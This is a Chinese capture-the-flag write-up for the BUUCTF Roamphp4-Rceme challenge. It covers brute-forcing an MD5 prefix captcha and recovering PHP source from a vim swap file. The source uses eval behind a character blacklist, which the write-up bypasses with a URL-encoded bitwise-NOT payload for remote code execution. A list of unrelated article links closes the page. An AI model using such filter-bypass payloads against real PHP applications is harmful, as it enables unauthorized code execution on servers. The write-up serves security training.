当前位置: 首页 > news >正文

136,【3】 buuctf web [极客大挑战 2020]Roamphp4-Rceme

进入靶场 

if:substr(md5($code),0,5)==4a94f 

对 $code 进行 MD5 哈希运算,然后取结果的前 5 个字符
判断取出来的前 5 个字符是否等于 "4a94f"

 

import hashlib
import itertools
import string

# 目标 MD5 哈希值的前 5 个字符
target = "4a94f"

# 定义字符集,这里包含所有小写字母、大写字母和数字
charset = string.ascii_letters + string.digits

# 从较短的字符串长度开始尝试
for length in range(1, 10):
    # 生成所有可能的字符组合
    for combination in itertools.product(charset, repeat=length):
        test_string = ''.join(combination)
        # 计算字符串的 MD5 哈希值
        md5_hash = hashlib.md5(test_string.encode()).hexdigest()
        # 截取 MD5 哈希值的前 5 个字符
        md5_prefix = md5_hash[:5]
        # 检查是否匹配目标值
        if md5_prefix == target:
            print(f"找到匹配的 code 值: {test_string}")
            break
    else:
        # 如果内层循环没有被 break 中断,则继续尝试更长的字符串
        continue
    # 如果内层循环被 break 中断,说明已经找到匹配值,跳出外层循环
    break
else:
    print("未找到匹配的 code 值。")

JWl 

 

 

 

 看看源代码

 找到一张图片

扫描后是

EGG{a_6ea4t1441_e99_in_QR_c0de}

去抓包

 

 vim swp

 

 三次都尝试之后,我才反应过来,我输的是文件的格式.........

带个文件名看看

找到一个

 

点开看看

 先去官网下载能打开这个文件的软件

下载好后在cmd输入命令

vim -r /path/to/your/file.swp

/path/to/your/file.swp 替换为你实际的 .swp 文件路径

恢复后的内容就会写入到这个文件中

<?php
// 设置错误报告级别为 0,即不显示任何 PHP 错误信息,避免泄露敏感信息
error_reporting(0);

// 启动会话,用于存储和管理用户的会话数据
session_start();

// 检查会话中是否已经设置了 'code' 变量
if(!isset($_SESSION['code'])){
    // 如果会话中未设置 'code' 变量,则生成一个新的验证码
    // 生成两个随机数,分别进行 sha1 和 md5 哈希处理,然后拼接结果
    // 最后截取拼接后字符串的前 5 个字符作为验证码
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
    // 以上步骤获得验证数字
}

// 检查是否通过 POST 方法传递了 'cmd' 和 'code' 参数
if(isset($_POST['cmd']) and isset($_POST['code'])){
    // 对用户通过 POST 方法提交的 'code' 参数进行 md5 哈希处理,并截取前 5 个字符
    // 检查该结果是否与会话中存储的验证码不相等
    if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        // 如果不相等,说明验证码输入错误
        // 使用 JavaScript 的 alert 函数弹出提示框,提示用户验证码错误
        // 然后使用 history.back() 方法让用户返回上一页
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }
    // 如果验证码验证通过,生成一个新的验证码并更新会话中的 'code' 变量
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);

    // 将用户通过 POST 方法提交的 'cmd' 参数赋值给变量 $code
    $code = $_POST['cmd'];

    // 检查 $code 的长度是否超过 70 个字符,或者是否包含指定的字符
    // 使用 preg_match 函数进行正则表达式匹配,检查是否包含字母、数字、各种符号等
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        // 如果满足上述条件之一,说明输入不符合要求
        // 使用 JavaScript 的 alert 函数弹出提示框,提示用户输入不被允许
        // 然后使用 history.back() 方法让用户返回上一页
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    } 
    // 使用 preg_replace 函数对 $code 进行处理,移除所有函数调用
    // 然后检查处理后的结果是否等于 ';'
    else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        // 如果满足条件,则使用 eval 函数执行 $code 中的代码
        // @ 符号用于抑制可能出现的错误信息
        @eval($code);
        // 执行完代码后终止脚本执行
        die();
    }
}

 要通过post方式

再抓包

[极客大挑战 2020]Roamphp 1、2、4_[极客大挑战 2020]rceme-CSDN博客

cmd 
= '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data 
= f'code={code}&cmd={cmd}'

code=916558

传递即可 

 

相关文章:

  • vue若依框架dicts中字典项的使用:表格展示与下拉框示例
  • 《AI大模型开发笔记》Open-R1:对 DeepSeek-R1 的完全开源再现(翻译)
  • 静力触探数据智能预处理(6)
  • JavaScript 内置对象-Math对象
  • (学习总结23)Linux 目录、通配符、重定向、管道、shell、权限与粘滞位
  • [8-2-2] 队列实验_多设备玩游戏(红外改造)_重录
  • IWC万国表:源自瑞士的精密制表艺术(中英双语)
  • 第1期 定时器实现非阻塞式程序 按键控制LED闪烁模式
  • skywalking实现原理
  • unity学习39:连续动作之间的切换,用按键控制角色的移动
  • 编程技巧(基于STM32)第一章 定时器实现非阻塞式程序——按键控制LED灯闪烁模式
  • Spring Boot 定时任务:轻松实现任务自动化
  • PyQt6/PySide6 的信号与槽原理
  • YOLOv5-Seg 深度解析:与 YOLOv5 检测模型的区别
  • 四元数如何用于 3D 旋转(代替欧拉角和旋转矩阵)【ESP32指向鼠标】
  • 基于Python的Optimal Interpolation (OI) 方法实现
  • ZZNUOJ(C/C++)基础练习1091——1100(详解版)⭐
  • 差分解方程
  • [矩形绘制]
  • 图的遍历: 广度优先遍历和深度优先遍历
  • 董军同法国国防部长举行会谈
  • 做街坊们的“健康管家”,她把专科护理服务送上门
  • 普京提议重启俄乌直接谈判后,特朗普表态了
  • “仓促、有限”,美英公布贸易协议框架,两国分别获得了什么?
  • 重温经典|《南郭先生》:不模仿别人,不重复自己
  • 万玲、胡春平调任江西省鹰潭市副市长